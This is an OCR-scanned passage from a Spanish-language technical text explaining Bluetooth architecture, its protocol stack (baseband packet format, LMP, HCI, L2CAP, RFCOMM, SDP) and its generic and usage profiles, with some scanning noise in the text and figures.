usuarios o dispositivos pueden formar una "piconet” y hasta diez "piconets” pueden
coexistir en la misma area de cobertura, cada piconet se identificara por una secuencia
de saltos de frecuencia distinta. Bluetooth minimiza la interferencia potencial al emplear

saltos rapidos en frecuencia (1600 veces por segundo).

Dado que cada enlace es codificado y protegido contra interferencia y pérdida de enlace,
Bluetooth puede considerarse como una red inalambrica de corto alcance muy segura.
El sistema Bluetooth permite conexiones punto a punto y punto a multipunto.

2.3.7 ARQUITECTURA DE HARDWARE BLUETOOTH.

Esta compuesto por dos partes la primera de ella es un dispositivo de radio que es el

encargado de modular y transmitir la sefial, un controlador digital que a su vez esta
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compuesto por un procesador de sefiales digitales llamado Link Controller, una CPU
que es el encargado de atender las instrucciones del Bluetooth del dispositivo anfitrion,
esto se logra gracias al Link Manager que es un software el cual tiene como funcién
permitir la comunicacion con otros dispositivos por medio del protocolo LMP.

Entre las tareas realizadas por el link controller y link manager destaca el envio y
recepcion de datos, empaginamiento y peticiones, determinacion de conexiones,
autenticacion, negociacion y determinacion de tipos de enlace, determinacion del tipo

de cuerpo de cada paquete y ubicacion del dispositivo en modo sniff o hold.

2.3.8 ARQUITECTURA DE SOFTWARE BLUETOOTH.

La arquitectura de Bluetooth especifica el conjunto de protocolos con los que pueden
operar las distintas aplicaciones. Asi, cada aplicacion puede operar bajo una estructura
de protocolos definida por cada columna que se presentan en la figura, o por un
conjunto de ellas.

Uno de los principales objetivos de la tecnologia Bluetooth es conseguir que
aplicaciones de dispositivos diferentes mantengan un dialogo fluido. Para conseguirlo,

ambos deben ejecutarse sobre el mismo stack de protocolos.

El stack estad constituido por dos clases de protocolos. Una primera clase llamada de
protocolos especificos que implementa los protocolos propios de Bluetooth. Y una
segunda clase formada por el conjunto de protocolos adoptados de otras
especificaciones. Esta division de clases en el disefio de protocolos Bluetooth permite

aprovechar un conjunto muy amplio de ventajas.

Por otro lado, la utilizacién de protocolos no especificos ofrece la ventaja de la
interaccion de esta tecnologia con protocolos comerciales ya existentes; asi como la
posibilidad de que Bluetooth esté abierto a implementaciones libres o nuevos protocolos
de aplicacion de uso comun. El stack de protocolos se puede dividir en cuatro capas

I6gicas y seguin se muestra en la Figura:
@ Ndcleo de Bluetooth: Radio, Banda Base, LMP, L2CAP, SDP.
& Sustitucion de cables: RFCOMM.

& Protocolos adoptados: PPP, UDP, TCP, IP, OBEX, WAP, IRMC, WAE
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@ Control de telefonia: TCS-binary, AT-Commands.

El llamado nucleo de Bluetooth ha sido implementado en su totalidad por el SIG, no
obstante otros como RFCOMM y TCS-binary, pese a ser desarrollados por el propio
SIG, los han desarrollado siguiendo las recomendaciones de otras instituciones de

telecomunicaciones.

El resto de capas logicas de sustitucion de cables, de control de telefonia y de protocolos
adoptados, se agrupan en los protocolos orientados a aplicacion, permitiendo asi a las
diferentes aplicaciones existentes o desarrolladas en el futuro poder correr sobre el

nucleo de Bluetooth.

A partir de aqui se va a realizar una descripcion detallada de los protocolos que emplea
Bluetooth en su nicleo, y que constituyen la base de su funcionamiento.

2.3.9 PROTOCOLOS DE BLUETOOTH.

TCS - Telephony Control Specification

RFComm - Serial Port Emulation Protocal TCS RF Cantmy SDP

SDP - Service Discovery Protocol
LZCAF - Logical Link Cantral
and Adaptation Protocol

HCI
LM = Link Manager

Audio Link Manager (LI}

Bazeband Specification

Radis Specification Baseband

Figura 7: Descripcion de los protocolos de Bluetooth.

2.3.9.1 BLUETOOTH RADIO:

La capa radio de Bluetooth define las necesidades de los distintos dispositivos
Bluetooth que opera en la banda ISM a 2,4GHz. Esta capa se basa en el método de

division de espectro conocido como espectro ensanchado, utilizando 79 saltos de
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frecuencia en cada MHz, comenzando en 2,400GHz y acabando en 2,480GHz. En
ambos sistemas se utiliza una banda de guarda entre cada salto, con el fin de respetar las
regulaciones de cada pais en cuanto al tema de evitar las transmisiones fuera de banda.
Se tienen tres clases de dispositivos segun la potencia de los mismos:
@ Potencia Clase 1: Dispositivos de largo alcance (aprox. 100m), con una potencia
maxima de salida de 20dBm.
& Potencia Clase 2: Dispositivos de medio alcance (aprox. 10m), con una potencia
maxima de salida de 4dBm.
@ Potencia Clase 3: Dispositivos de corto alcance (aprox. 10cm), con una potencia

méxima de salida de 0dBm.

La interfaz radio Bluetooth se basa en una antena de potencia nominal de 0dBm.

Cada dispositivo puede variar su potencia de manera opcional. El equipamiento con
control de potencia optimiza la potencia de salida con comandos procedentes del
protocolo de enlace. Esto se hace midiendo el RSSI (Receiver Signal Strength
Indicator), retornando un mensaje indicando si la potencia debe ser incrementada o
decrementada. La modulacion utilizada en la interface radio de Bluetooth es GFSK
(Gaussian Frequency Shiftk eying), donde un uno binario se representa con una
desviacion positiva de frecuencia, mientras que un cero se expresa como una desviacion

negativa de la frecuencia.

2.3.9.2 BASE BAND:

Bluetooth utiliza el esquema TDD (Time-Division Duplex) para la comunicacion de
varios dispositivos en modo full-duplex. Se divide el canal en slots de 625us de
duracién. La informacién se transmite en paquetes, en saltos de frecuencia diferentes,
para incrementar la proteccion frente a interferencias. Un paquete ocupa normalmente
una unico slot, (FIGURA 8 transmision de paquetes sencillos), pero puede ocupar hasta

cinco consecutivos (FUIGURA 9) Transmisidén paquetes multi slot)
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Figura 9: transmision Paguetes Multi-slot.
2.3.9.2.1 CANALES FISICOS.

2.3.9.2.1.1 DEFINICION DE CANAL.

El canal esta representado por una secuencia pseudoaleatoria de 79 o 23 (esta ultima
sola para Francia y Espafia) canales RF. Esta secuencia de saltos es Unica para la piconet
y es determinada por la direccion del dispositivo Bluetooth maestro; la fase en la

secuencia de salto es determinada por el reloj del dispositivo maestro.

El canal esta dividido en fragmentos de tiempos (slots) donde cada uno corresponde a
un salto de frecuencia RF. Estos saltos consecutivos corresponden a diferentes

frecuencias la tasa de saltos nominal es de 1600 saltos/seg.
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2.3.9.2.1.2 Slots de Tiempo.

Los slots estan numerados en funcién p la duracion de un slot es de 625 del reloj del
dispositivo maestro de la piconet. El rango de numeracion de los slots estan entre 0 y
227 — 1 yes ciclico con un ciclo largo de 227

Se utiliza el esquema TDD cuando el maestro y esclavo transmiten alternativamente, el
maestro comienza su transmision en los slots pares, mientras que los esclavos lo hacen
en los impares. EI comienzo de transmision del paquete con el comienzo del slot
durante el cual la frecuencia de salto ha de permanecer fija. Un paquete puede tener una
duracién mayor que un slot de forma que la frecuencia de salto permanece fija durante
la transmision del paquete. Una vez finalizada volverd a ser la misma que si cada
paquete tuviese duracién de un slot. La frecuencia del salto viene determinada por el

reloj del maestro en ese momento.

2.3.9.2.2 LOS PAQUETES BLUETOOQOTH poseen tres partes bien diferenciadas, como

se puede apreciar en la siguiente figura:

Cooekae® | cabecera Datos.

Figura 10: Paquete Bluetooth.

2.3.9.2.2.1 CODIGO DE ACCESO: cada paquete empieza con un codigo de acceso que
puede tener una longitud de 72 bits. (En otro caso, de 68 bits). Este codigo de acceso es

usado para la sincronizacion del tiempo, identificacion (sefializacion). El codigo de
acceso identifica todos los paquetes intercambiados en una piconet. Todos los paquetes
enviados en la misma piconet son comenzados por el mismo cddigo de acceso del canal.
Se usa también en procesos de busqueda y consulta, en este caso el codigo de acceso se
utiliza como un mensaje de sefializacion y ni la cabecera ni la parte util del paquete
estan presentes.

El codigo de acceso consiste en un predmbulo (introduccién). Una palabra de

sincronizacion y una cola.
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LSE 4 64 4. M5B

Preambulo Palabra de sincronizacién Cola

Figura 11: formato codigo de acceso.

Existen tres tipos de diferentes codigos de acceso:

@ Channel Access Codeo cddigo de acceso al canal (CAC): identifica una piconet.

& Device Access Codeo Cadigo de acceso de dispositivo (DAC): utilizado para
procedimientos especiales de sefializacion Como el paging.

@ Inquiry Access Code o0 Codigo de Acceso de Busqueda (IAC): utilizados para
procedimientos como inquiry. Se llamara IAC general cuando se quiere

descubrir a otras unidades Bluetooth

2.3.9.2.2.1.1 Predmbulo: es un patron fijo 0-1 de cuatro simbolos usados para indicar la
llegada de un paquete al receptor. La secuencia es 1010 o 0101, dependiendo si el LSB
de la siguiente palabra de sincronizacion es 1 o 0, respectivamente el formato del

predmbulo es presentado a continuacion:

LSB MSB| LSB _ LSB MSB| LSB .
1010 | 4———-= 0101 | 0———=
preamble sync word preamble sync word

Figura 12: Formato del preambulo.

2.3.9.2.2.1.2 Palabra de sincronizacion: es un codigo de 64 bit derivado a partir de una

direccion de 24 bit. La estructura asegura la gran distancia entre palabras de
sincronismo basados en diferentes LAPs (Lower Address Parts).

2.3.9.2.2.1.3 Cola: la cola (trailer) es adjunta a la palabra de sincronizacion tan pronto

como la cabecera de paquete sigue al codigo de acceso. Es usado con el CAC, pero la
cola también es usada en el DAC y el IAC cuando estos cdédigos son usados en
intercambios de paquetes FHS en el transcurso de los procedimientos de busqueda y
consulta. La cola es un patron fijo de cuatro simbolos, la secuencia de la cola puede ser
1010 o 0101 dependiendo si la palabra de sincronismo termina en 1 o O

respectivamente.
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_ MSB |LSB MSB _ MSEB |LSB MSB
----0(1010 ---=-1/0101
sync word trailer sync word trailer
a) b}

Figura 13: Trailer aplicado en CAC.

a) Cuando el MSB de la palabra de sincronizacion es un 0.
b) Cuando el MSB es un 1.

2.3.9.2.2.2 CABECERA: contiene informacion acerca del control de enlace (LC) posee

6 campos los cuales son:

AM_ADDR: 3 bit direccion del miembro activo.
TYPE: 4 bit, tipo codigo.

FLOW: 1 bit, control de flujo.

ARQN: 1 bit, indica recepcion.

SEQN: 1 bit, nimero de la secuencia.

¢ & 66 6 6

HEC: 8 bit, chequea errores de la cabecera.

Para proteger la cabecera de posibles errores en la transmision, cada bit es repetido tres

veces en la fila produciendo asi un total de 54 bits.

LSB 2 4 1 1 1 8 MSB

AM ADDR TYPE FLOWIARQNI|SEQN HEC

Figura 14: Formato de la Cabecera.

2.3.9.2.2.2.1 AM_ADDR: representa una direccién de un integrante y es usado para

distinguir entre los miembros activos que participan en una piconet. En una piconet uno
0 mas esclavos son conectados a un maestro Unico. Para identificar cada esclavo
individualmente, cada esclavo se le asigna temporalmente una direccion de 3 bit, para

ser usada cuando esté activo, en el intercambio de paquetes entre maestro y esclavo
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todos lleva el AM_ADDR de este esclavo; es decir el AM_ADDR de este esclavo es
usado tanto en los paquetes que van de maestro-esclavo como viceversa. La direccion
000 es reservada para la transmision de paquetes desde el maestro a los esclavos. Los
dispositivos esclavos que son desconectados abandonan su AM_ADDR por lo que una

nueva AM_ADDR ha de ser asignada cuando ellos se reintegren a la piconet.

2.3.9.2.2.2.2 TYPE: pueden ser definidos 16 tipos de paquetes el codigo TYPE de 4 bit

especifica qué tipo de paquete es usado. Este cddigo depende del tipo de enlace fisico

asociado con el paquete, este dependera si se trata de un enlace SCO o un enlace ACL el

coédigo TYPE también revela cuantos slots ocupa el flujo de paquetes.

2.3.9.2.2.2.3 FLOW: este bit es usado para el control de flujos de paquetes de un enlace

ACL. Cuando el buffer de un enlace ACL en el receptor estd completo y no
desocupado, una indicacion STOP (FLOW=0) es retornado para detener la transmision
de datos temporalmente. Esta sefial STOP solo concierne a los paquetes ACL. Paquetes
que incluyen solo informacion del control de enlaces o paquetes SCO pueden ser
recibidos, cuando el buffer es vaciado una indicacién Go (FLOW=1) es retornado.
También se utiliza implicitamente cuando un paquete no es recibido, en este caso el

esclavo puede recibir un nuevo paquete con CRC.

2.3.9.2.2.2.4 ARQN: esta es una indicacion de recibido de 1 bit, es usada para informar

de una transferencia exitosa de datos con CRC de la carga Util esta recepcion puede ser
positiva ACK o una recepcion negativa NAK. Si la recepcién fue exitosa, un ACK
(ARQN=1) es regresado, en caso contrario un NAK (ARQN=0) es regresado. Cuando
ningln mensaje de retorno que acuse recepcion es recibido, se asume una NAK el éxito
de la recepcién es comprobado por medio de un codigo ciclico del chequeo de
redundancia (CRC).

2.3.9.2.2.2.5 SEQN: este bit proporciona una secuencia numérica para ordenar el flujo

de paquetes de datos. Por cada nuevo paquete transmitido que contenga datos con CRC,
el bit SEQN es invertido. Esto es requerido para filtrar el destino de las transmisiones, si
una transmision ocurriera debido a una falla de ACK, el destinatario recibira el mismo

paquete dos veces.
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2.3.9.2.2.2.6 HEC: Cada cabecera posee un chequeo de error de cabecera para poder

revisar su integridad. El HEC consiste en una palabra de 8 bit generada por el polinomio
647 (representacion octal) antes de generar el HEC, el generador de HEC es inicializado

con un valor de 8 bit.

2.3.9.2.2.3 CARGA UTIL (PAYLOAD): puede constar de 0 a 2745 bits y se compone
de tres segmentos: cabecera (existente solo en paquetes ACL), Informacion y CRC,

(existente solo en paquetes ACL).

& Carga Gtil de voz: posee un largo fijo. Para los paquetes HV, el largo del campo
de voz es de 240 bit; para el paquete DV el largo es del campo de voz es de 80
bits la cabecera de la carga Util no esté presente.

@ Carga Util de datos: Cabecera (8 bits), Datos (0 a 2721 bits) y CRC (16 bits).

2.3.9.3 ENLACES BANDA BASE.

La banda base de Bluetooth provee canales de transmision para voz y datos donde los
enlaces SCO son empleados para transmisiones de voz y los enlaces ACL para la
transmision de datos.

La maqguina de estados de banda base es controlada por el administrador de enlaces.
Este micro cadigo provee el control del enlace basado el hardware para configuracion,
seguridad y control de los enlaces. Sus capacidades incluyen autenticacion y servicios
de seguridad, monitoreo de calidad de servicio y control del estado de banda base.
2.3.9.3.1 Enlace SCO (Synchronous Connection-Oriented). Es un enlace punto a punto
simétrico entre el maestro y un esclavo de la piconet. EI maestro mantiene el enlace
usando slots reservados en intervalos regulares. Este canal basicamente se encarga de
transportar la informacion de voz, ya que estd orientado a conexion. Un maestro es
capaz de soportar tres enlaces SCO simultaneos, lo que quiere decir tres canales de voz
simultaneos a 64Kbps. Por el hecho de ser un enlace orientado a conexion, se supone
gue los paquetes llegaran siempre integros, por lo que en este enlace nunca se daran

retransmisiones.

2.3.9.3.2 Enlace ACL (Asynchronous Connection-Less). Es un enlace punto a

multipunto entre el maestro y todos los esclavos pertenecientes a la piconet. Se
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transmiten sobre los slots no reservados por enlaces SCO, donde el maestro puede
establecer un enlace ACL. Al no estar orientado a conexion, se tiene que ante la
posibilidad de pérdidas de paquetes se pueden producir retransmisiones.

2.3.9.4 LINK MANAGER PROTOCOL (LMP).

El protocolo de administracion del enlace (LMP) es el responsable de configurar las
conexiones entre los distintos dispositivos Bluetooth mediante la trasmision de distintos
mensajes 0 PDU’s.

Este protocolo tiene diversa funcionalidades entre las que destacan las siguientes:

@ Calidad de soporte de servicio.

@ Autenticacion y cifrado, intercambiando las claves de encriptacion empleadas
en este proceso.

& Control y negociacion del tamafio de los paquetes de Banda Base.

@ Estado de los dispositivos en una piconet.

@ Control de energia de las unidades.

& Supervision del enlace.

2.3.9.5 HOST CONTROLLER INTERFACE O INTERFAZ CONTROLADORA
DE LA MAQUINA (HCI).

El HCI es una capa de software que intercambia todos los datos entre un host (por
ejemplo, un PC) y un controlador (un dispositivo Bluetooth USB). Datos y voz pasan a
través del HCI.

Una de las tareas mas importantes de la interfaz HCI es el descubrimiento de
dispositivos Bluetooth que se encuentren dentro del radio de cobertura esta operacion se

denomina consulta o inquiri y funciona del siguiente modo:

@ |Inicialmente el dispositivo origen envia paquetes inquiry y se mantiene en
espera de recibir respuestas de otros dispositivos presentes en su zona de
cobertura.

@ Si los dispositivos destino estan configurados en modo visible (discoverable) se

encontraran en estado inquiry_scan y en predisposicion de atender estos
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paquetes. En este caso, al recibir un paquete inquiri cambiaran a estado inquiri
response y aviaran una respuesta al host origen con sus direcciones MAC y otros
parametros.

@ Los dispositivos que estén configurados en modo no visible (non discoverable)
se encontraran en modo inquiry response Yy, por tanto, no responderan al host

origen y permaneceran ocultos.

2.3.9.6 LOGICAL LINK CONTROL AND ADAPTATION LAYER PROTOCOL
(L2CAP).

L2CAP es un protocolo que se encarga de adaptar los protocolos superiores al protocolo
de banda base. Sus tres principales funciones son:

& Multiplexacion de protocolos de alto nivel.
& Segmentacion y Re ensamblado de paquetes largos (hasta 64 Kbyte).

& Descubrimiento de dispositivos y calidad de servicio.

Para cumplir estas funciones la arquitectura L2ZCAP debe cumplir ciertos requisitos:

@ L2CAP ofrece un servicio orientado a conexion donde un identificador de
canal es utilizado en cada conexion, asumiendo que este canal es full-duplex

y fiable; por lo que este tipo de servicio se tiene QoS.

& L2CAP ofrece un servicio no orientado a conexion donde se tiene la

transmision de datagramas y no en flujos continuos de informacion.
2.3.9.6.1 FORMATO DEL PAQUETE L2CAP.
L2CAP sigue un modelo de comunicacién basado en canales. Un canal representa un

flujo de datos entre entidades L2CAP en dispositivos remotos los canales son orientados

0 no orientados a la conexion de sefializacion.
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2.3.9.6.1.1 FORMATO DEL PAQUETE L2CAP DE SERVICIO ORIENTADO A
CONEXION.

Longitud CID Datos
(16 bits) (16 bits) {0-65535 bytes)

Figural5: Paquete L2CAP para servicio orientado a conexion.

& Longitud: especifica la longitud del campo de datos en bytes.

& Cid: como L2CAP esta basado en el concepto de canales se necesita identificar a
cada uno de ellos. Un identificador de canal tiene un ambito local, por lo que un
dispositivo puede asignar identificadores de canal de forma independiente de
otros dispositivos, a excepcion de que necesite usar identificadores reservados.
El mismo CID no puede utilizarse simultaneamente para identificar mualtiples
canales simultaneos entre un dispositivo local y un remoto.

& Datos: contendra los datos recibidos y enviados a la capa de red.

2.3.9.4.1.2 FORMATO DEL PAQUETE L2CAP DE SERVICIO NO ORIENTADO A
CONEXION.

Longitud | ID canal | PSM Datos
(16 hits) | (16 bits) | (16 bits) (0-65533 hytes)

Figural6: Paquete L2CAP para servicio no orientado a conexion.

@ Longitud: indica el tamafio de la carga (til de informacion méas el campo PSM,
excluyendo la longitud de la cabecera L2CAP.

& D de canal: indica el destino del paquete.

@ PSM (Protocol Service Multiplexer): los valores de PSM tienen dos rangos los
valores del primer rango son asignados por el SIG Bluetooth el segundo rango se
asigna dinamicamente.

& Datos: contiene la informacion de carga Util que se enviara al dispositivo de

destino.
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2.3.9.6.1.3 FORMATO DEL PAQUETE L2CAP DE SENALIZACION.

Codigo | Identificador | Longitud Datos
(8 bits) (8 bits) (16 bits) (0 0 mas bytes)

Figural7: Paquete L2CAP para sefializacion.

@ Cadigo: identifica el tiempo de comando.

& |Identificador: utilizado para emparejar una solicitud con su correspondiente
respuesta. El dispositivo solicitante genera este campo y el dispositivo que
responde utiliza el mismo valor en su respuesta.

@ Longitud: indica el tamafio en bytes del campo de datos.

& Datos: campo de longitud variable el cual viene indicado por el campo longitud.

2.3.9.7 RFCOM.

El protocolo RFCOMM permite emular el funcionamiento de los puertos serie sobre el
protocolo L2CAP.

Ademés de emular los nueve circuitos de la norma RS-232. Soporta hasta 60
conexiones simultaneas entre dos dispositivos Bluetooth.

En una configuracion RFCOMM se tienen basicamente dos tipos de dispositivos:

Tipo 1: Se trata de dispositivos terminales de comunicacion, como los ordenadores, las

impresoras, etc.

Tipo 2: Son aquellos que forman parte de un segmento de comunicacion; como por

ejemplo, los mdédems.

RFCOMM no hace distincion entre ambos tipos, pero el acomodarse a ellos tiene sus
consecuencias en el protocolo. Por lo tanto, la transferencia de informacion entre dos
entidades RFCOMM se define tanto para los dispositivos Tipo 1y 2.

Debido a que un dispositivo no es consciente del tipo del otro dispositivo en el camino
de comunicacion, cada uno debe pasar toda la informacion disponible especificada por

el protocolo.
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2.3.9.8 SERVICE DISCOVERY PROTOCOL (SDP).

SDP proporciona un mecanismo que permite a las aplicaciones descubrir cuéles son los

servicios disponibles en su entorno y determinar las propiedades especificas de éstos.

Los servicios disponibles cambian continuamente debido al dinamismo existente en el

entorno, por lo que la busqueda de servicios en Bluetooth difiere de la busqueda de

servicios en una red fija tradicional.

SDP debe proporcionar las siguientes funcionalidades:

9

<@

Permitir la busqueda de servicios basados en atributos especificos.

Debe permitir que los servicios sean descubiertos basandose en la clase de
servicio.

Debe permitir averiguar las caracteristicas de un servicio sin tener conocimiento
a priori de dicho servicio.

Debe proporcionar medios para descubrir nuevos servicios (proximidad de un
nuevo dispositivo, arranque de una aplicacion) asi como para indicar la no
disponibilidad de servicios inicialmente visibles.

Debe permitir almacenar informacion sobre servicios de forma temporal para

mejorar la eficiencia del protocolo.

Proporcionar complejidad adecuada para ser utilizado en dispositivos con

prestaciones limitadas.

No obstante, SDP debe proporcionar los siguientes servicios en versiones futuras:

@

9
&

Se proporcionara acceso a los servicios, sélo acceso a la informacion sobre los
Servicios.

Se proporcionaran mecanismos para la tarifacion por el uso de los servicios.

Se proporcionara al cliente la capacidad de controlar o cambiar la operacion de

un servicio.
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Client SDP responses Server
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Figural8: Service Discovery Protocol (SDP).

2.3.9.9 TELEPHONY CONTROL - BINARY (TCS BINARY).

TCS Binary o TCS BIN es un protocolo que define la sefializacion de control de
Ilamada para establecer llamadas de voz y datos entre dispositivos Bluetooth .Ademas
de este protocolo en SIG Bluetooth ha definido un conjunto de comandos AT que
definen como puede controlarse un médem y un teléfono mavil en varios modelos de

uso.

2.3.9.10 AUDIO.

Los datos de audio pueden ser transferidos entre los dispositivos Bluetooth de distintas
formas (con diferentes tipos de paquetes) y mediante paquetes SCO que son

encaminados directamente en la banda base y no a través de la L2ZCAP.

2.3.9.11 TRANSMISION

Bluetooth estd disefiado para usar acuses de recibos (acknowledgement) y saltos de
frecuencias (frequency hopping), lo cual hara conexiones robustas. Esto esta basado en
paquetes, y saltaran a una nueva frecuencia después de que cada paquete es recibido, lo
cual no solo ayuda a los problemas de interferencia, sino que afiade seguridad. La tasa

de datos es un megabytes/segundo, incluyendo el encabezado. Una transmision "full
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duplex” (ambas direcciones al mismo tiempo) es realizado por multiplexaje de division

de tiempo

Como se especificd previamente, la transmision de datos puede ser realizada de maneta
sincrona o asincrona. EI método Sincrono Orientado a Conexion (SCO) es usado
principalmente para voz, y el Asincrono No Orientado a Conexion (ACL) es
principalmente usado para transmitir datos. Dentro de un "piconet” cada par master-
Slave pueden usar un modo de transmision distinto, y los modos pueden ser cambiados
en algun momento. La division de tiempo "Duplex”, es usado para SCO y ACL, y
ambos soportan 16 tipos de paquetes, cuatro de los cuales son paquetes de control, que
son los mismos en cada tipo. Debido a la necesidad de tranquilidad en la transmision de
datos, los paquetes SCO son entregados en intervalos reservados, esto es, los paquetes
son enviados en grupos sin permitir la interrupcién de otras transmisiones. Los enlaces

ACL soportan tanto transmision simétrica como transmision asimétrica.
2.3.10 PERFILES BLUETOOTH.
2.3.10.1 PERFILES GENERICOS DE BLUETOOTH.

Los perfiles definen los protocolos y caracteristicas que soportan un modelo de uso
particular. Garantizando la interoperabilidad, ya que si dos dispositivos de distintos
fabricantes cumplen con la misma especificacion del perfil Bluetooth, podemos esperar

que interactlen correctamente cuando se utilicen para un uso particular.

Un perfil define los mensajes especificos y procedimientos usados para implementar
una caracteristica. Algunas caracteristicas son obligatorias y algunas pueden ser

opcionales.

Se definen cuatro perfiles genéricos que contienen la especificacion de los perfiles
especificos: el perfil de acceso genérico (GAP, Generis Access Profile), el perfil de
puerto serie (SPP, Serial Port Profile), el perfil de aplicacion de descubrimiento de
servicios (SDAP, Service Discovery Application Profile), y el perfil genérico de
intercambio de objetos (GOEP, Generic Object Exchange Profile)
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Perfil de Acceso Generico

Perfil de Descubrimiento de
Servicios

Perfil de Puerto Serie
Perfil Genérico de Intercambio de Objetos

Figura 19: Perfiles genéricos de Bluetooth.
2.3.10.1.1 PERFIL DE ACCESO GENERICO.

El perfil de acceso genérico (GAP, Generis Access Profile) define los procedimientos
generales para descubrir dispositivos Bluetooth, asi como los procedimientos de gestion

de enlace para establecer una conexion entre dos dispositivos Bluetooth.

El perfil GAP debe implementarse en cualquier dispositivo Bluetooth para asegurar la
interoperabilidad basica y la coexistencia con otros dispositivos, independientemente
del tipo de aplicacion que soporten. Los dispositivos que ademas cumplan otro perfil
Bluetooth pueden emplear adaptaciones de los procedimientos genéricos, tal como se
especifiquen en ese perfil. Sin embargo, deben seguir siendo compatibles con el perfil

GAP en el nivel de procedimientos genéricos.
2.3.10.1.2 PERFIL DE PUERTO SERIE.

Cuando la tecnologia inalambrica Bluetooth se utiliza para sustituir el cable, se emplea
el perfil de puerto serie (SPP, Serial Port Profile) para el canal resultante orientado a
conexion este perfil esta construido sobre el perfil de acceso genérico y definen como
deben configurarse los dispositivos Bluetooth para emular una conexién a través de un
cable serie utilizando RFCOM, un protocolo de transporte sencillo que emula los

puertos serie RS-232 entre dispositivos homélogos.
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2.3.10.1.3 PERFIL DE APLICACION DE DESCUBRIMIENTO DE SERVICIOS.

El perfil de aplicacion de descubrimiento de servicios (SDAP, Service Discovery
Application Profile) describe las caracteristicas y procedimientos utilizados para
descubrir servicios registrados en otros dispositivos Bluetooth y obtener informacion

acerca de esos servicios.

El perfil SDAP utiliza el protocolo de descubrimiento de servicios SDP, incluido en la
pila de protocolos Bluetooth para localizar los servicios disponibles en dispositivos
situados dentro del radio de accidon de un dispositivo Bluetooth. EI procedimiento de
descubrimiento de servicios en dispositivos préximos no es automatico, se requiere que
el usuario invoque especificamente al protocolo SDP mediante la aplicacion de
descubrimiento de servicios. Una vez que se crea el enlace con un dispositivo
determinado, se puede localizar los servicios que ofrece y estos pueden ser
seleccionados a través del interfaz de usuario segun el tipo de aplicacion que se desee

ejecutar.

El protocolo SDP permite realizar dos tipos de operaciones relacionadas con el

descubrimiento de servicios de dispositivos Bluetooth.

& Busqueda de servicios (Service Searching): permite localizar dispositivos
cercanos que ofrezcan un servicio especifico.
& Enumeracion de servicios (Service Browsing): permite conocer los servicios

ofrecidos por un determinado dispositivo.
2.3.10.1.4 PERFIL GENERICO DE INTERCAMBIO DE OBJETOS.

El perfil de intercambio de objetos (GOEP, Generic Object Exchange Profile) define
como deben soportar los dispositivos Bluetooth los modelos de uso de intercambio de
objetos. Incluye tres perfiles asociados a modelos de uso especificos basados en el
protocolo OBEX (Object Exchange): el perfil de transferencia de archivos (OBEX File
Transfer) el perfil de carga de objetos (OBEX, Object Push) permite el establecimiento
de sesiones en las que las transferencias tienes lugar durante un periodo de tiempo,

manteniendo la conexidn incluso cuando este inactiva (OBEX File Transfer).
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El principal uso de OBEX se realiza en aplicaciones de carga y descarga de archivos, se
basa en el modelo cliente/servidor. Bajo el perfil genérico de intercambio de objetos, un
cliente carga o envia objetos de datos en un servidor mediante la operacion PUT del
protocolo OBEX; o bien descarga o recibe objetos de datos desde un servidor mediante

la operacion GET del protocolo OBEX.
2.3.10.2 PERFILES BLUETOOTH PARA MODELOS DE USO.

Se han identificado 4 perfiles genéricos (GAP, SPP, SDAP, Y GOEP) sobre los que se
definen los diferentes perfiles especificos para modelos de uso. Estos perfiles Bluetooth
para modelos de uso son multiples y variados, y se implementan de manera opcional e

independiente por cada fabricante y tipo de dispositivo.

Perfil de Acceso Generico

Perfil de Telefonia Inalambrica

Perfil de Intercomunicacion

Perfil de Acceso Telefdnico a Redes
Perfil de Transferencia de Archivas

Perfil de Auriculares

Perfil de Carga de Objetos
Perfil de Fax

Perfil de Sincronizacion
Perfil de Acceso a Red

Figura 20: Perfiles Bluetooth para modelos de uso.
La especificacion Bluetooth 1.0 define los siguientes perfiles:

@ Perfil de telefonia inalambrica (CTP, Cordless Telephony Profile).
Perfil de intercomunicacion (IP, Intercom Profile).

Perfil de Puerto serie (SP, Serial Port Profile).

Perfil de Acceso telefénico a redes (DUN, Dial-Up Networking).
Perfil de Auriculares (HS, Headset Profile).

Perfil de Fax (FP, Fax Profile).

Perfil de Acceso a red (LAP, LAN Access Profile).

Perfil de Transferencia de archivos (FTP, File Transfer Profile).

¢ 60 60 6 6 6 6
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@ Perfil de carga de Objetos (OPUSH u OPP, Object Push Profile).
& Perfil de sincronizacion (Sync, Synchronization Profile).

Adicionalmente los siguientes perfiles han sido recientemente aprobados por el SIG o

estan en fase de desarrollo.

ESDP, Extended Service Discovery Profile.
A2DP Advanced Audio Distribution Profile.
AVRCP, Audio Video Remote Control Profile.
BIP, Basic Printing Profile.

CIP, Common ISDN Access Profile.

GAVDP, Generic Audio Video Distribution Profile.
HFR, Hands-Free Profile.

HCRP, Hardcopy Cable Replacement Profile.
HID, Human Interface Device Profile.

PAN, Personal Area Networking Profile.

SAP, SIM Access profile.

O 06 6 6 666 6 6 ¢

2.3.10.2.1 Perfil de acceso telefonico a redes.

El perfil de acceso telefénico a redes (DUN, Dial-Up Networking) define los
protocolos y procedimientos utilizados por dispositivos tales como médems y teléfonos

moviles

Para implementar el modelo de uso denominado puerta hacia internet. El escenario
posible mas habitual para este modelo es el uso de teléfono mévil como mddem

inalambrico para conectar un PC a un servicio de acceso telefénico a internet.
2.3.10.2.2 Perfil de Auriculares.

El perfil de Auriculares (HS, Headset Profile) define los protocolos y procedimientos
para el modelo de uso que permite utilizar un dispositivo auricular de ultima generacion
como interfaz de entrada y salida de audio de otro dispositivo, generalmente un teléfono
movil o un PC con el propoésito de incrementar la libertad de movimiento del usuario al

mismo tiempo que se mantiene la confidencialidad de la conversacion.
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El modelo de uso de perfil de Auriculares define tres escenarios de usos habituales.

2.3.10.2.2.1 Manos Libres Auriculares (Hands-Free Head Set) conectado a un teléfono
movil: permite al usuario mantener conversaciones telefénicas sin necesidad de acercar
el terminal al oido. Su empleo puede extenderse a comunicaciones a PCs para

aplicaciones de VOIP (Voz Sobre IP) como Skype.

= GSM

BLA, BLA,
[EIC=T

BLA, JLA,
BLUETOOTH BLA,BLA,

P )

</

Figura 21: Manos libre Auriculares.

2.3.10.2.2.2 Manos Libres de automdévil (Hands-free Card Kit) conectado a un teléfono
movil: permite al usuario mantener conversaciones telefonicas en el interior de un

vehiculo sin necesidad de apartar las manos del volante para sostener el teléfono movil.
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Figura 22: Manos libres de automavil.

2.3.10.2.2.3 Pasarela de Audio entre dos dispositivos Bluetooth cualesquiera: permite al
usuario configurar dos equipos Bluetooth, que no sean auriculares, sino simples PCs o
PDAs, estableciendo una pasarela de audio entre los dos, de forma que el audio que

reproduce el software de un dispositivo a través del enlace SCO (Synchronous

